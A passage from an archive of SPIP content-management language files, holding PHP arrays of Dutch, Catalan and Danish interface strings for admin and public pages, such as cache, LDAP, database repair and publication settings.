'queue_next_job_in_nb_sec' => 'Volgende opdracht in @nb@ s',
'queue_no_job_in_queue' => 'Geen opdracht in de wachtrij',
'queue_one_job_in_queue' => '1 achterstand',
'queue_purger_queue' => 'De werkenlijst leegmaken',
'queue_titre' => 'Lijst van werken',
// R
'repertoire_plugins' => 'Map :',
// S
'sans_heure' => 'zonder tijdstip',
'statut_admin_restreint' => 'beperkte beheerder',
'statut_webmestre' => 'webmaster',
// T
'tache_cron_asap' => 'CRON taak @function@ (ASAP)',
'tache_cron_secondes' => 'CRON taak @function@ (alle @nb@ s)',
'taille_cache_image' => 'De beelden door SPIP automatisch aangemaakt (icoontjes van documenten, grafisch weergegeven titels, wiskundige functies in TeX formaat...) nemen in de map @dir@ een totale plaats in van @taille@.',
'taille_cache_infinie' => 'De site voorziet geen beperking in de grootte van de buffermap.',
'taille_cache_maxi' => 'SPIP probeert de omvang van de buffermap van de site te beperken tot ongeveer <b>@octets@</b> gegevens.',
'taille_cache_moins_de' => 'De cache is kleiner dans @octets@.',
'taille_cache_octets' => 'De grootte van de buffer bedraagt momenteel @octets@.',
'taille_cache_vide' => 'De buffer is leeg.',
'taille_repertoire_cache' => 'Grootte van het bufferbestand',
'text_article_propose_publication' => 'Artikel voorgesteld voor de publicatie.',
'texte_acces_ldap_anonyme_1' => 'Sommige LDAP-servers aanvaarden geen anonieme toegang. In zo’n geval dien je één loginnaam op te geven om vervolgens informatie in het adressenboek te zoeken. In de meeste gevallen kan je de volgende velden echter leeg laten.',
'texte_admin_effacer_01' => 'Met dit commando vernietig je de <i>volledige</i> inhoud van de databank,
inbegrepen <i>alle</i> toegangsrechten voor redacteurs en beheerders. Nadat je dit uitgevoerd hebt, dien je de herinstallatie van SPIP te starten om een volledig nieuwe database aan te maken en toegangsrechten voor een eerste beheerder.',
'texte_adresse_annuaire_1' => '(Als de map is geïnstalleerd is op dezelfde computer als je website, is het waarschijnlijk «localhost».)',
'texte_ajout_auteur' => 'Deze auteuer is toegevoegd aan het artikel :',
'texte_annuaire_ldap_1' => 'Als je toegang hebt tot een LDAP-adresboek, kan je dit gebruiken om automatisch gebruikers in te voeren in SPIP.',
'texte_article_statut' => 'Dit artikel is:',
'texte_article_virtuel' => 'Virtual artikel',
'texte_article_virtuel_reference' => '<b>Virtueel artikel:</b> gekoppeld artikel in je SPIP site maar doorgestuurd naar een andere URL. Verwijder de URL om de doorverwijzing te stoppen.',
'texte_aucun_resultat_auteur' => 'Geen resultaat voor "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Deze website kan een lijst met auteurs die op dat moment aangelogd zijn, tonen. Het is mogelijk om direkt berichten opsturen en ontvangen tussen de auteurs. Je kan kiezen om niet in deze lijst te verschijnen (je wordt dan « onzichtbaar » voor de andere gebruikers).',
'texte_auteur_messagerie_1' => 'Deze site biedt de mogelijkheid om berichten uit te wisselen en forums op te starten voor private discussies tussen de deelnemers van de site. Je kan kiezen om niet deel te nemen aan deze uitwisseling van informatie.',
'texte_auteurs' => 'DE AUTEURS',
'texte_choix_base_1' => 'Kies je databank :',
'texte_choix_base_2' => 'De SQL server bevat meerdere databanken.',
'texte_choix_base_3' => '<b>Kies</b> hierna die die u door uw leverancier werd toegekend:',
'texte_choix_table_prefix' => 'Voorvoegsel van de tabelen :',
'texte_commande_vider_tables_indexation' => 'Gebruik dit commando als je de tabellen met indices wil leegmaken die door de
zoekmachine van SPIP gebruikt worden. Zo kan je schijfruimte vrijmaken.',
'texte_compatibilite_html' => 'U kunt vragen SPIP te produceren, op de openbare site, code compatibel met standaard <i>HTML4</i>, of laat het aan de mogelijkheden van de moderne gebruik <i>HTML5</i>.',
'texte_compatibilite_html_attention' => 'Er is geen risico, zodat de <i>HTML5</i>, maar als je dat doet, de pagina’s van uw site moet beginnen met het volgende te blijven geldig : <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(deze kan gecomprimeerd worden of niet)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elements',
'texte_conflit_edition_correction' => 'Gelieve de verschillen tussen beide versies van de tekst hieronder te controleren; u kunt eveneens uw wijzigingen kopiëren, vervolgens opnieuw beginnen.',
'texte_connexion_mysql' => 'Raadpleegt de inlichtingen die door uw leverancier worden verstrekt: u moet er de basisserver van gegevens vinden die men voorstelt en uw persoonlijke identificaties om u erop aan te sluiten.',
'texte_contenu_article' => '(Inhoud van het artikel in enkele woorden.)',
'texte_contenu_articles' => 'Naargelang de opmaak van je website kan je beslissen sommige elementen van artikels
wel of niet te gebruiken.
Duidt hieronder op de lijst de elementen aan die je wil gebruiken.',
'texte_crash_base' => 'Als je database gecrashed is,
kan je een automatisch herstel proberen.',
'texte_creer_rubrique' => 'Alvorens artikelen te kunnen schrijven, <br/> moet u een rubriek creëren.',
'texte_date_creation_article' => 'DATUM VAN AANMAKEN VAN HET ARTIKEL:',
'texte_date_creation_objet' => 'Aanmaakdatum :', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Datum van eerdere redactie :',
'texte_date_publication_anterieure_nonaffichee' => 'Verberg de datum van eerdere redactie.',
'texte_date_publication_article' => 'DATUM VAN ONLINE PUBLICATIE :',
'texte_date_publication_objet' => 'Datum van online publicatie :',
'texte_descriptif_petition' => 'Beschrijving van de petitie.',
'texte_descriptif_rapide' => 'Korte beschrijving.',
'texte_effacer_base' => 'Verwijder de SPIP databank',
'texte_effacer_donnees_indexation' => 'Verwijder de geïndexeerde gegevens',
'texte_effacer_statistiques' => 'De statistieken wissen',
'texte_en_cours_validation' => 'De inhouden hieronder wachten op goedkeuring.',
'texte_enrichir_mise_a_jour' => 'De opmaak van een tekst kan gebeuren met behulp van de zogeheten «typografische snelkoppelingen».',
'texte_fichier_authent' => 'SPIP moet er dan speciale bestanden <tt>.htpasswd</tt>
en <tt>.htpasswd-admin</tt> in de directory @dossier@ ?</b><p>
Deze bestanden die u kunt gebruiken om toegang te beperken tot
auteurs en bestuurders in andere delen van je site
(externe programma statistieken, bijvoorbeeld).</p><p>
Als u geen nut ervan hebt, kunt u de standaard instellingen behouden (geen nieuw bestand maken).</p>',
'texte_informations_personnelles_1' => 'Nu zal het systeem een persoonlijke toegang tot de site voor u creëren.',
'texte_informations_personnelles_2' => '(Nota : als het herinstallatie betreft, en je toegangscode blijkt nog steeds te werken, kan je',
'texte_introductif_article' => '(Inleidende tekst op het artikel.)',
'texte_jeu_caractere' => 'Het is aan te raden op je site het universele alfabet (<tt>utf-8</tt>) te gebruiken :dit laat de weergave van teksten toe in alle talen en stelt geen compatibilieitsprobleemet de recente bladerprogramma’s.',
'texte_jeu_caractere_2' => 'Opgelet : deze instelling zal teksten die reeds werden ingevoerd in de gegevensbank niet omzetten.',
'texte_jeu_caractere_3' => 'Je site is momenteel geïnstalleerd in deze tekenset :',
'texte_jeu_caractere_4' => 'Indien dit niet overeenkomt met je werkelijke gegevens (bvb bij het terugzetten van je gegevensbank), of als je <em>deze site opstart</em> en met een andere tekenset van start wil gaan, gelieve deze dan hieronder aan te duiden :',
'texte_jeu_caractere_conversion' => 'Noot : je kan beslissen eens en voorgoed al je teksten van je site (artikels, berichten, forums, enz.) naar het <tt>utf-8</tt> alfabet om te zetten, door naar <a href="@url@">de pgaina voor omzetting naar utf-8</a> te gaan.',
'texte_lien_hypertexte' => '(Als je artikel handelt over iets dat op het web is gepubliceerd, of naar een internetpagina verwijst met meer informatie, gelieve dan hier de titel en de URL van deze pagina op te geven.)',
'texte_login_ldap_1' => '(Leeg laten voor een anonieme login, of een volledig pad invullen, bijvoorbeeld «<tt>uid=janssen, ou=users, dc=mijn-domein, dc=com</tt>».)',
'texte_login_precaution' => 'Opgelet! Met deze login ben je momenteel aangemeld.
Gebruik dit formulier met de nodige voorzichtigheid...',
'texte_message_edit' => 'Opgelet: dit bericht kan door elke beheerder van de site gewijzigd worden en is zichtbaar voor elke redacteur. Maak enkel gebruik van deze aankondigingen om belangrijk nieuws in verband met de site kenbaar te maken.',
'texte_messagerie_agenda' => 'Een besteldienst laat de redacteuren van de site toe om tussen hen direct in de particuliere ruimte van de plaats mee te delen. Zij wordt verenigd met een agenda.',
'texte_mise_a_niveau_base_1' => 'Je hebt zonet de SPIP bestanden vernieuwd. Nu dien je
eveneens de databank te updaten.',
'texte_modifier_article' => 'Wijzigen artikel:',
'texte_moteur_recherche_active' => '<b>De zoekmotor is geactiveerd.</b> Voer deze taak uit als je een snelle herindexatie wil doorvoeren (na het terugzetten van een reservekopie bijvoorbeeld). Documenten die via de normale weg worden gewijzigd (vanaf de SPIP interface) worden automatisch geherindexeerd: deze taak is dus enkel nuttig in uitzonderlijke omstandigheden.',
'texte_moteur_recherche_non_active' => 'De zoekmachine is niet geactiveerd.',
'texte_multilinguisme' => 'Als je graag objecten in verschillende talen zou willen beheren, met een complexe navigatie, kan je een taalkeuzemenu toevoegen bij deze objecten, i.f.v de organisatie van je site.',
'texte_multilinguisme_trad' => 'Je kan eveneens een systeem in werking stellen voor het beheer van koppelingen tussen de verschillende vertalingen van de objecten.',
'texte_non_compresse' => '<i>niet gecomprimeerd</i> (de server ondersteunt deze functionaliteit niet)',
'texte_nouveau_message' => 'Nieuw bericht',
'texte_nouvelle_version_spip_1' => 'Je hebt een nieuwe versie van SPIP geïnstalleerd.',
'texte_nouvelle_version_spip_2' => 'Deze nieuwe SPIP-versie vereist een grondiger update dan gewoonlijk. Als je webmaster bent van deze site, verwijder dan het bestand @connect@ en herneem de installatie om de verbindingsgegevens met de databank te vernieuwen.<p> (NB. : als je je verbindingsgegevens niet meer kent, kan je best eerst een blik werpen op het bestand @connect@ alvorens het te verwijderen...)</p>', # Pas de modif trouvée, la trad reste valable.
'texte_operation_echec' => 'Ga terug naar de vorige pagina, selecteer een andere gegevensbank of maak een nieuwe aan. Kijk nog eens alle gegevens na die je van je provider hebt ontvangen.',
'texte_plus_trois_car' => 'meer dan 3 karakters',
'texte_plusieurs_articles' => 'Meerdere auteurs gevonden voor "@cherche_auteur@":',
'texte_port_annuaire' => '(De opgegeven standaardwaarde is meestal de juiste.)',
'texte_presente_plugin' => 'Deze pagina toont de lijst van beschikbare plugins op deze site. Je kan de nodige plugins activeren door het overeenkomstige vakje aan te kruisen.',
'texte_proposer_publication' => 'Wanneer uw artikel wordt beëindigd, <br /> kunt u zijn publicatie voorstellen.',
'texte_proxy' => 'In bepaalde gevallen (intranet, beschermde netwerken), zijn de verwijderde plaatsen (SPIP documentatie , georganiseerde plaatsen, enz.) toegankelijk slechts door een <i>proxy HTTP</i>. Eventueel geeft hieronder zijn adres aan, onder de vorm @proxy_in_actie@. Over het algemeen zult u dit lege hokje laten.',
'texte_publication_articles_post_dates' => 'Hoe dient SPIP zich op te stellen ten opzichte van artikels waarvan de
publicatiedatum is vastgelegd op een
toekomstige datum?',
'texte_rappel_selection_champs' => '[Vergeet niet de juiste keuze te maken voor dit veld.]',
'texte_recalcul_page' => 'Als je enkel
één pagina wil vernieuwen, doe dit dan op de publieke site en gebruik de knop « vernieuwen ».',
'texte_recapitiule_liste_documents' => 'Deze pagina herneemt de lijst met documenten die je bij de rubrieken hebt geplaatst. Om de informatie van een document te wijzigen, volg je de link naar de pagina van de rubriek.',
'texte_recuperer_base' => 'De databank herstellen',
'texte_reference_mais_redirige' => 'Gekoppeld artikel in je SPIP site, maar doorgestuurd naar een andere URL.',
'texte_requetes_echouent' => '<b>Wanneer bepaalde SQL-query’s en systematisch niet zonder duidelijke reden, is het mogelijk dat dit te wijten is aan de database zelf.</b><p>
Uw SQL Server heeft een regresvordering van tabellen als ze zijn beschadigd door een ongeval. Hier kunt u proberen dit te repareren als dat niet lukt, een kopie van het scherm, die aanwijzingen van wat er mis bevatten ...</p><p> Als het probleem zich blijft voordoen, contact opnemen met uw gastheer.</p>',
'texte_selection_langue_principale' => 'Hieronder kan je de «basistaal» van de site kiezen. Deze keuze verplicht je - gelukkig! - niet om artikels in deze taal te schrijven maar laat wel toe om het volgende te bepalen:
<ul><li> het standaardformaat van de data op de publieke site;</li>
<li> de aard van de typografische motor die SPIP dient te gebruiken om teksten te tonen;</li>
<li> de taal die gebruikt moet worden op de formulieren van de publieke site;</li>
<li> de taal die standaard wordt voorgesteld in het private gedeelte.</li></ul>',
'texte_sous_titre' => 'Ondertitel',
'texte_statistiques_visites' => '(donkere balkjes : zondag / donkere lijn : evolutie van het gemiddelde)',
'texte_statut_attente_validation' => 'wachten op goedkeuring',
'texte_statut_publies' => 'online geplaatst',
'texte_statut_refuses' => 'geweigerd',
'texte_suppression_fichiers' => 'Gebruik dit commando om alle bestanden uit de buffer (cache) te verwijderen.
Dit kan handig zijn als je veel pagina’s hebt gewijzigd, de layout of de structuur van de site hebt veranderd.
De nieuwste pagina’s worden dan getoond en de buffer wordt opnieuw opgebouwd.',
'texte_sur_titre' => 'opschrift',
'texte_table_ok' => ': deze tabel is OK.',
'texte_tables_indexation_vides' => 'De indices van de zoekmachine zijn leeggemaakt.',
'texte_tentative_recuperation' => 'Poging tot herstel.',
'texte_tenter_reparation' => 'Poging tot herstel van de databank',
'texte_test_proxy' => 'Om de proxy te testen kan je hier het adres geven van de website die je wil bereiken.',
'texte_titre_02' => 'Titel :',
'texte_titre_obligatoire' => '<b>Titel</b> [verplicht]',
'texte_travail_article' => '@nom_auteur_modif@ heeft @date_diff@ minuten geleden aan dit artikel gewerkt',
'texte_travail_collaboratif' => 'Als het vaak gebeurt dat meerdere redacteurs
aan een en hetzelfde artikel werken, kan het systeem
wel tonen welke artikels er recent «geopend» werden
om te vermijden op hetzelfde moment simultaan
wijzigingen worden aangebracht.
Deze optie is standaard wel niet geactiveerd om te
vermijden dat er teveel waarschuwingsberichten op het
scherm verschijnen.',
'texte_trop_resultats_auteurs' => 'Teveel resultaten voor "@cherche_auteur@" ; gelieve de zoekopdracht te verfijnen.',
'texte_unpack' => 'binnenhalen van de laatste versie',
'texte_utilisation_moteur_syndiques' => 'Wanneer u de geïntegreerdeb de zoekmotor van
SPIP, kunt u het onderzoek naar de site en
instellen de georganiseerde artikelen op twee wijze
verschillend. <br />- De meest
eenvoudige manier bestaat erin om alleen te zoeken in titels en
beschrijvingen van de artikels. <br />-
Een andere methode is veel krachtiger en laat
eveneens toe op de tekst van de gekoppelde sites te zoeken . Als je
een site hebt gekoppeld, zal SPIP de zoekopdracht
uitbreiden tot de tekst van deze site zelf.',
'texte_utilisation_moteur_syndiques_2' => 'Deze methode verplicht SPIP om de gekoppelde
site regelmatig te bezoeken, wat een kleine
vertraging van je eigen site tot gevolg kan hebben.',
'texte_vide' => 'leeg',
'texte_vider_cache' => 'Cache leegmaken',
'titre_admin_effacer' => 'Technisch onderhoud',
'titre_admin_tech' => 'Technisch onderhoud',
'titre_admin_vider' => 'Technisch onderhoud',
'titre_ajouter_un_auteur' => 'Voeg een auteur toe',
'titre_ajouter_un_mot' => 'Voeg een trefwoord',
'titre_ajouter_une_rubrique' => 'Een rubriek toevoegen',
'titre_cadre_afficher_article' => 'Artikels tonen',
'titre_cadre_afficher_traductions' => 'Toon de status van de vertalingen voor de volgende talen :',
'titre_cadre_ajouter_auteur' => 'EEN AUTEUR TOEVOEGEN :',
'titre_cadre_interieur_rubrique' => 'In de rubriek',
'titre_cadre_numero_auteur' => 'AUTEUR NUMMER',
'titre_cadre_numero_objet' => '@objet@ NUMBER :',
'titre_cadre_signature_obligatoire' => '<b>Handtekening</b> [Verplicht]<br />',
'titre_config_contenu_notifications' => 'Kennisgevingen',
'titre_config_contenu_prive' => 'In de particuliere ruimte',
'titre_config_contenu_public' => 'Op de openbare site',
'titre_config_fonctions' => 'Configuratie van de site',
'titre_config_langage' => 'Stel de taal in',
'titre_configuration' => 'Configuratie van de site',
'titre_configurer_preferences' => 'Configureer uw voorkeuren',
'titre_conflit_edition' => 'Conflict bij de uitgave',
'titre_connexion_ldap' => 'Opties: <b>Je LDAP-verbinding</b>',
'titre_groupe_mots' => 'WOORDENGROEP:',
'titre_identite_site' => 'Identiteit van de site',
'titre_langue_article' => 'Taal van het artikel',
'titre_langue_rubrique' => 'Taal van de rubriek',
'titre_langue_trad_article' => 'TAAL EN VERTALINGEN VAN HET ARTIKEL',
'titre_les_articles' => 'ARTIKELS',
'titre_messagerie_agenda' => 'Boodschappen en agenda',
'titre_naviguer_dans_le_site' => 'Bezoek de site...',
'titre_nouvelle_rubrique' => 'Nieuwe rubriek',
'titre_numero_rubrique' => 'RUBRIEKNUMMER:',
'titre_page_admin_effacer' => 'Technische onderhoud : de databank wissen',
'titre_page_articles_edit' => 'Wijzigen : @titre@',
'titre_page_articles_page' => 'Artikels',
'titre_page_articles_tous' => 'Volledige site',
'titre_page_auteurs' => 'Bezoekers',
'titre_page_calendrier' => 'Kalender @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Websiteconfiguratie',
'titre_page_config_fonctions' => 'Websiteconfiguratie',
'titre_page_configuration' => 'Websiteconfiguratie',
'titre_page_controle_petition' => 'Vervolg van de petities',
'titre_page_delete_all' => 'Volledige en onomkeerbare verwijdering',
'titre_page_documents_liste' => 'Documenten van de rubrieken',
'titre_page_index' => 'Je privé-ruimte',
'titre_page_message_edit' => 'Een bericht opstellen',
'titre_page_messagerie' => 'Je brievenbus',
'titre_page_recherche' => 'Zoekresultaat voor @recherche@ ',
'titre_page_statistiques_referers' => 'Statistieken (per referer)',
'titre_page_statistiques_signatures_jour' => 'Aantal handtekeningen per dag',
'titre_page_statistiques_signatures_mois' => 'Aantal handtekeningen per maand',
'titre_page_upgrade' => 'Bijwerken van SPIP',
'titre_publication_articles_post_dates' => 'Publicatie van postgedateerde artikels',
'titre_referencer_site' => 'Deze site koppelen :',
'titre_rendez_vous' => 'AFSPRAKEN :',
'titre_reparation' => 'Herstel',
'titre_suivi_petition' => 'Vervolg van de petities',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'Er is geen artikel met dit nummer.',
'trad_article_traduction' => 'Alle versies van dit artikel:',
'trad_deja_traduit' => 'Fout: onmogelijk om dit artikel te verbinden met het gevraagde nummer.',
'trad_delier' => 'Niet binden aan deze vertalingen',
'trad_lier' => 'Dit artikel is een vertaling van artikelnummer:',
'trad_new' => 'Voeg een nieuwe vertaling',
// U
'upload_info_mode_document' => 'Dit beeld in portfolio neerzetten',
'upload_info_mode_image' => 'Dit beeld van portfolio terugtrekken',
'utf8_convert_attendez' => 'Wacht enkele ogenblikken en herlaadt deze pagina.',
'utf8_convert_avertissement' => 'U heeft zich klaargemaakt om de inhoud van uw site (artikels, berichten, enz) om te zetten van karakterset <b>@orig@</b> naar karakterset <b>@charset@</b>.',
'utf8_convert_backup' => 'Vergeet niet om vooraf uw volledige site te bewaren. U dient ook na te gaan of uw sjablonen en taalbestanden @charset@ compatibel zijn.',
'utf8_convert_erreur_deja' => 'Uw site is reeds in @charset@, onnodig om hem om te zetten...',
'utf8_convert_erreur_orig' => 'Fout : de karakterset @charset@ wordt niet ondersteund.',
'utf8_convert_termine' => 'Opdracht volbracht !',
'utf8_convert_timeout' => '<b>Belangrijk :</b> indien de server <i>timeout</i> aangeeft, dien je de pagina te herladen tot ze « volbracht » aangeeft.',
'utf8_convert_verifier' => 'Je kan nu de buffer leegmaken en nagaan of alles goed werkt op je publieke site. Als het goed fout gaat, kan je terugvallen op een backup die in SQL formaat in de map @rep@ bewaard werd.',
'utf8_convertir_votre_site' => 'Je site omzetten naar utf-8',
// V
'version' => 'Versie :'
);
?>
public_ca.php 0000666 00000007666 15252547432 0007232 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=ca
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Arrel de la web', # MODIF
'article' => 'Article',
'articles' => 'Articles',
'articles_auteur' => 'Articles d’aquest autor',
'articles_populaires' => 'Els articles més populars',
'articles_rubrique' => 'Articles d’aquesta secció',
'aucun_article' => 'No hi ha cap article en aquesta adreça',
'aucun_auteur' => 'No hi ha cap autor/a a aquesta adreça',
'aucun_site' => 'No hi ha cap lloc web en aquesta adreça',
'aucune_breve' => 'No hi ha cap breu a aquesta adreça',
'aucune_rubrique' => 'No hi ha cap secció a aquesta adreça',
'auteur' => 'Autor',
'autres' => 'Altres',
'autres_breves' => 'Altres breus',
'autres_groupes_mots_clefs' => 'Altres grups de paraules clau',
'autres_sites' => 'Altres llocs webs',
// B
'bonjour' => 'Bon dia',
// C
'commenter_site' => 'Comentar aquest lloc web',
'contact' => 'Contacte',
'copie_document_impossible' => 'Impossible copiar el document',
// D
'date' => ' Data',
'dernier_ajout' => 'Darrer afegit',
'dernieres_breves' => 'Darreres breus',
'derniers_articles' => 'Darrers articles',
'derniers_commentaires' => 'Darrers comentaris',
'derniers_messages_forum' => 'Darrers missatges publicats als fòrums',
// E
'edition_mode_texte' => 'Edició en mode text de ',
'en_reponse' => 'En resposta a:',
'en_resume' => 'En resum',
'envoyer_message' => 'Enviar un missatge',
'espace_prive' => 'Espai privat',
// F
'formats_acceptes' => 'Formats acceptats: @formats@.',
// H
'hierarchie_site' => 'Jerarquia del lloc',
// J
'jours' => 'dies',
// L
'lien_connecter' => 'Connectar-se',
// M
'meme_auteur' => 'Del mateix/a autor/a',
'meme_rubrique' => 'A la mateixa secció',
'memes_auteurs' => 'Dels mateixos autors',
'message' => 'Missatge',
'messages_forum' => 'Missatges',
'messages_recents' => 'Els missatges més recents als fòrums',
'mots_clef' => 'Paraula clau',
'mots_clefs' => 'Paraules clau',
'mots_clefs_meme_groupe' => 'Paraules clau al mateix grup',
// N
'navigation' => 'Navegació',
'nom' => 'Nom',
'nouveautes' => 'Les novetats',
'nouveautes_web' => 'Novetats a la Web',
'nouveaux_articles' => 'Articles nous',
'nouvelles_breves' => 'Noves breus',
// P
'page_precedente' => 'pàgina anterior',
'page_suivante' => 'pàgina següent',
'par_auteur' => 'per ',
'participer_site' => 'Podeu participar en la vida d’aquest lloc web i proposar els vostres articles si ompliu la inscripció que hi ha a continuació. Immediatament rebreu un correu electrònic indicant-vos els codis d’accés a l’espai privat de la web.',
'plan_site' => 'Mapa del lloc Web',
'popularite' => 'Popularitat',
'poster_message' => 'Escriure un missatge',
'proposer_site' => 'Pots proposar un lloc web per afegir-lo a aquesta secció:',
// R
'repondre_article' => 'Respondre a aquest article',
'repondre_breve' => 'Respondre a aquesta breu',
'resultats_recherche' => 'Resultats de la recerca',
'retour_debut_forums' => 'Retorn al començament dels fòrums',
'rubrique' => 'Secció',
'rubriques' => 'Seccions',
// S
'signatures_petition' => 'Signatures',
'site_realise_avec_spip' => 'Lloc Web fet amb l’SPIP',
'sites_web' => 'Llocs Web',
'sous_rubriques' => 'Subseccions',
'spam' => 'Spam',
'suite' => 'Segueix',
'sur_web' => 'Sobre la Web',
'syndiquer_rubrique' => 'Sindicar aquesta secció',
'syndiquer_site' => 'Sindicar tot el lloc Web',
// T
'texte_lettre_information' => 'Veure la carta de presentació del lloc Web',
'texte_lettre_information_2' => 'Aquesta carta recull les novetats publicades des de',
// V
'ver_imprimer' => 'Versió per imprimir',
'voir_en_ligne' => 'Veure en línia',
'voir_squelette' => 'descarregar l’esquelet d’aquesta pàgina'
);
?>
ecrire_da.php 0000666 00000135250 15252547432 0007215 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=da
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aide_non_disponible' => 'Denne del af online-hjælpen er endnu ikke tilgængelig på dansk.',
'avis_acces_interdit' => 'Ingen adgang',
'avis_article_modifie' => 'Advarsel, @nom_auteur_modif@ har arbejdet på denne artikel for @date_diff@ minutter siden',
'avis_aucun_resultat' => 'Ingen resultater fundet.',
'avis_chemin_invalide_1' => 'Den sti som du har valgt',
'avis_chemin_invalide_2' => 'ser ikke ud til at være gyldig. Gå tilbage til sidste side og kontroller de oplysninger, du har indtastet.',
'avis_connexion_echec_1' => 'Ingen forbindelse til SQL-serveren', # MODIF
'avis_connexion_echec_2' => 'Gå tilbage til sidste side og kontroller de oplysninger, du har indtastet',
'avis_connexion_echec_3' => '<b>NB:</b> På mange servere skal du <b>anmode om</b> at få åbnet adgang til en SQL-database, før du kan bruge den. Hvis du ikke kan etablere en forbindelse, så kontroller venligst at du har indgivet denne anmodning.', # MODIF
'avis_connexion_ldap_echec_1' => 'Ingen forbindelse til LDAP-serveren',
'avis_connexion_ldap_echec_2' => 'Gå tilbage til sidste side og kontroller de oplysninger, du har indtastet.',
'avis_connexion_ldap_echec_3' => 'Alternativt kan du vælge ikke at benytte LDAP til at importere brugere.',
'avis_deplacement_rubrique' => 'Advarsel! Dette afsnit indeholder @contient_breves@ nyheder@scb@: Hvis du vil flytte den, så afkryds venligst her for at bekræfte.',
'avis_destinataire_obligatoire' => 'Du skal vælge en modtager, før du kan sende meddelelsen.',
'avis_erreur_connexion_mysql' => 'Fejl i forbindelse til SQL',
'avis_erreur_version_archive' => ' <b>Advarsel! Filen @archive@ hører til
en anden version af SPIP end den du har
installeret.</b> Du risikerer store
vanskeligheder: risiko for at ødelægge din database,
forskellige funktionsfejl på webstedet, osv.
Fortsæt ikke indlæsningen.<p>For mere
information henvises til <a href="@spipnet@">,
SPIP-dokumentationen</A>.', # MODIF
'avis_espace_interdit' => '<b>Forbudt område</b><p>SPIP er allerede installeret.',
'avis_lecture_noms_bases_1' => 'Installationsprogrammet kunne ikke læse navnene på de installerede databaser.',
'avis_lecture_noms_bases_2' => 'Enten er databasen ikke tilgængelig, eller også er funktionen, som giver oversigt
over databaser, sat ud af kraft af sikkerhedsårsager (hvilket er tilfældet på mange servere).',
'avis_lecture_noms_bases_3' => 'Hvis det sidstnævnte er tilfældet, er det muligt at en database, som er navngivet efter dit login, kan anvendes:',
'avis_non_acces_message' => 'Du har ikke adgang til denne meddelelse.',
'avis_non_acces_page' => 'Du har ikke adgang til denne side.',
'avis_operation_echec' => 'Opgaven mislykkedes.',
'avis_probleme_archive' => 'Læsefejl i filen @archive@',
'avis_suppression_base' => 'ADVARSEL, sletning kan ikke omgøres',
'avis_version_mysql' => 'Din version af SQL (@version_mysql@) tillader ikke automatisk reparation af tabeller.',
// B
'bouton_acces_ldap' => 'Tilføj adgang til LDAP >>',
'bouton_ajouter' => 'Tilføj',
'bouton_ajouter_participant' => 'TILFØJ DELTAGER:',
'bouton_annonce' => 'ANNONCERING',
'bouton_checkbox_envoi_message' => 'mulighed for at sende en meddelelse',
'bouton_checkbox_indiquer_site' => 'obligatorisk angivelse af websted ',
'bouton_checkbox_signature_unique_email' => 'kun en signatur pr. e-mail-adresse',
'bouton_checkbox_signature_unique_site' => 'kun en signatur pr. websted',
'bouton_demande_publication' => 'Anmod om at få offentliggjort denne artikel',
'bouton_effacer_index' => 'Slet indeksering',
'bouton_effacer_tout' => 'Slet alt',
'bouton_envoi_message_02' => 'SEND MEDDELELSE',
'bouton_envoyer_message' => 'Send færdig meddelelse',
'bouton_modifier' => 'Ret',
'bouton_pense_bete' => 'PERSONLIGT MEMO',
'bouton_radio_activer_messagerie' => 'Tillad interne meddelelser',
'bouton_radio_activer_messagerie_interne' => 'Tillad interne meddelelser',
'bouton_radio_activer_petition' => 'Tillad appeller',
'bouton_radio_afficher' => 'Vis',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Medtag i listen over tilknyttede redaktører',
'bouton_radio_desactiver_messagerie' => 'Slå meddelelsesfunktion fra',
'bouton_radio_envoi_annonces_adresse' => 'Send nyheder til adressen:',
'bouton_radio_envoi_liste_nouveautes' => 'Send seneste nyhedsliste',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Medtag ikke i listen over tilknyttede redaktører',
'bouton_radio_non_envoi_annonces_editoriales' => 'Send ingen redaktionelle nyheder',
'bouton_radio_pas_petition' => 'Ingen appeller',
'bouton_radio_petition_activee' => 'Appelfunktion slået til',
'bouton_radio_supprimer_petition' => 'Slet appellen',
'bouton_redirection' => 'VIDERESTIL',
'bouton_relancer_installation' => 'Gentag installationen',
'bouton_suivant' => 'Næste',
'bouton_tenter_recuperation' => 'Reparationsforsøg',
'bouton_test_proxy' => 'Test proxy',
'bouton_vider_cache' => 'Tøm cache',
'bouton_voir_message' => 'Vis indlæg før godkendelse',
// C
'calendrier_synchro' => 'Hvis du benytter en kalenderapplikation, der er kompatibel med <b>iCal</b>, kan du synkronisere med information på dette websted.',
// D
'date_mot_heures' => 'timer',
// E
'email' => 'e-mail',
'email_2' => 'e-mail:',
'entree_adresse_annuaire' => 'Adresse på kataloget',
'entree_adresse_email' => 'Din e-mail-adresse',
'entree_base_donnee_1' => 'Adresse på database',
'entree_base_donnee_2' => '(Ofte svarer denne adresse til adressen på webstedet, undertiden er den navngivet «localhost», og undertiden skal den være blank.)',
'entree_biographie' => 'Kort præsentation.',
'entree_chemin_acces' => '<b>Angiv</b> stien:',
'entree_cle_pgp' => 'Din PGP nøgle',
'entree_contenu_rubrique' => '(Kort beskrivelse af afsnittets indhold.)',
'entree_identifiants_connexion' => 'Dine opkoblingsinformationer...',
'entree_informations_connexion_ldap' => 'Udfyld denne side med LDAP opkoblingsinformation. Du kan indhente oplysningerne hos din system- eller netværskadministrator.',
'entree_infos_perso' => 'Hvem er du?',
'entree_interieur_rubrique' => 'I afsnit:',
'entree_liens_sites' => '<b>Hypertekst link</b> (henvisning, websted...)',
'entree_login' => 'Dit login',
'entree_login_connexion_1' => 'Tilkoblingslogin',
